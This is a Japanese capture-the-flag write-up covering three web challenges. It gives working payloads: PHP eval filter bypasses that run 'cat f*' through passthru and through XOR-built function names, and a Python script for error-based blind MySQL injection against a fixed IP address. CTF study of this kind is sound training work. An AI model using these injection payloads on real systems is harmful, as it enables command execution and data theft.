1/1 - 1/3という日程で開催された。zer0ptsで参加して6位。AMF問は解けなかったけど作問者の解説が勉強になった。あとTLS-poisonでSSRFする問題が出たんだったかな。詳しくはZeddyさんの記事を参照のこと。
[Web] HPNY
/^[a-z\(\)\_\.]+$/i
という条件なら eval
できるというPHP問。/?roll=passthru(end(filter_input_array(INPUT_GET)))&0=cat%20f*
でフラグが得られる。
[Web] mysqlimit
MySQLのSQLi問。Orange先生のスライドを参考にまず /?id=(select%201%20from%20(select%20*%20from%20flag_here_hihi%20join%20flag_here_hihi%20as%20x%20using(id))%20as%20y)
で t_fl4g_name_su
というカラム名の存在が確認できる。
あとはError-based Blind SQLiでやるだけ。
import requests import urllib.parse URL = 'http://45.77.255.164/?id=' TEMPLATE = '(select 1e308*(2*(ascii(right(left(t_fl4g_v3lue_su,{}),1))&{})) from flag_here_hihi limit 1)' i = 1 res = '' while True: c = 0 for j in range(7): url = URL + urllib.parse.quote(TEMPLATE.format(i, 1 << j)) req = requests.get(url) if 'DOUBLE' in req.text: c |= 1 << j res += chr(c) print(i, res) i += 1
[Web] Super Calc
/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i
という条件なら eval
できるというPHP問。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2744%27%5E%27%269%27%5E%27~~%27)
で fl4g1sH3re.php
というファイルの存在が確認できる。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2700000*%27%5E%27--86**%27%5E%27~%7C%7C%26%7C*%27)
でフラグが得られる。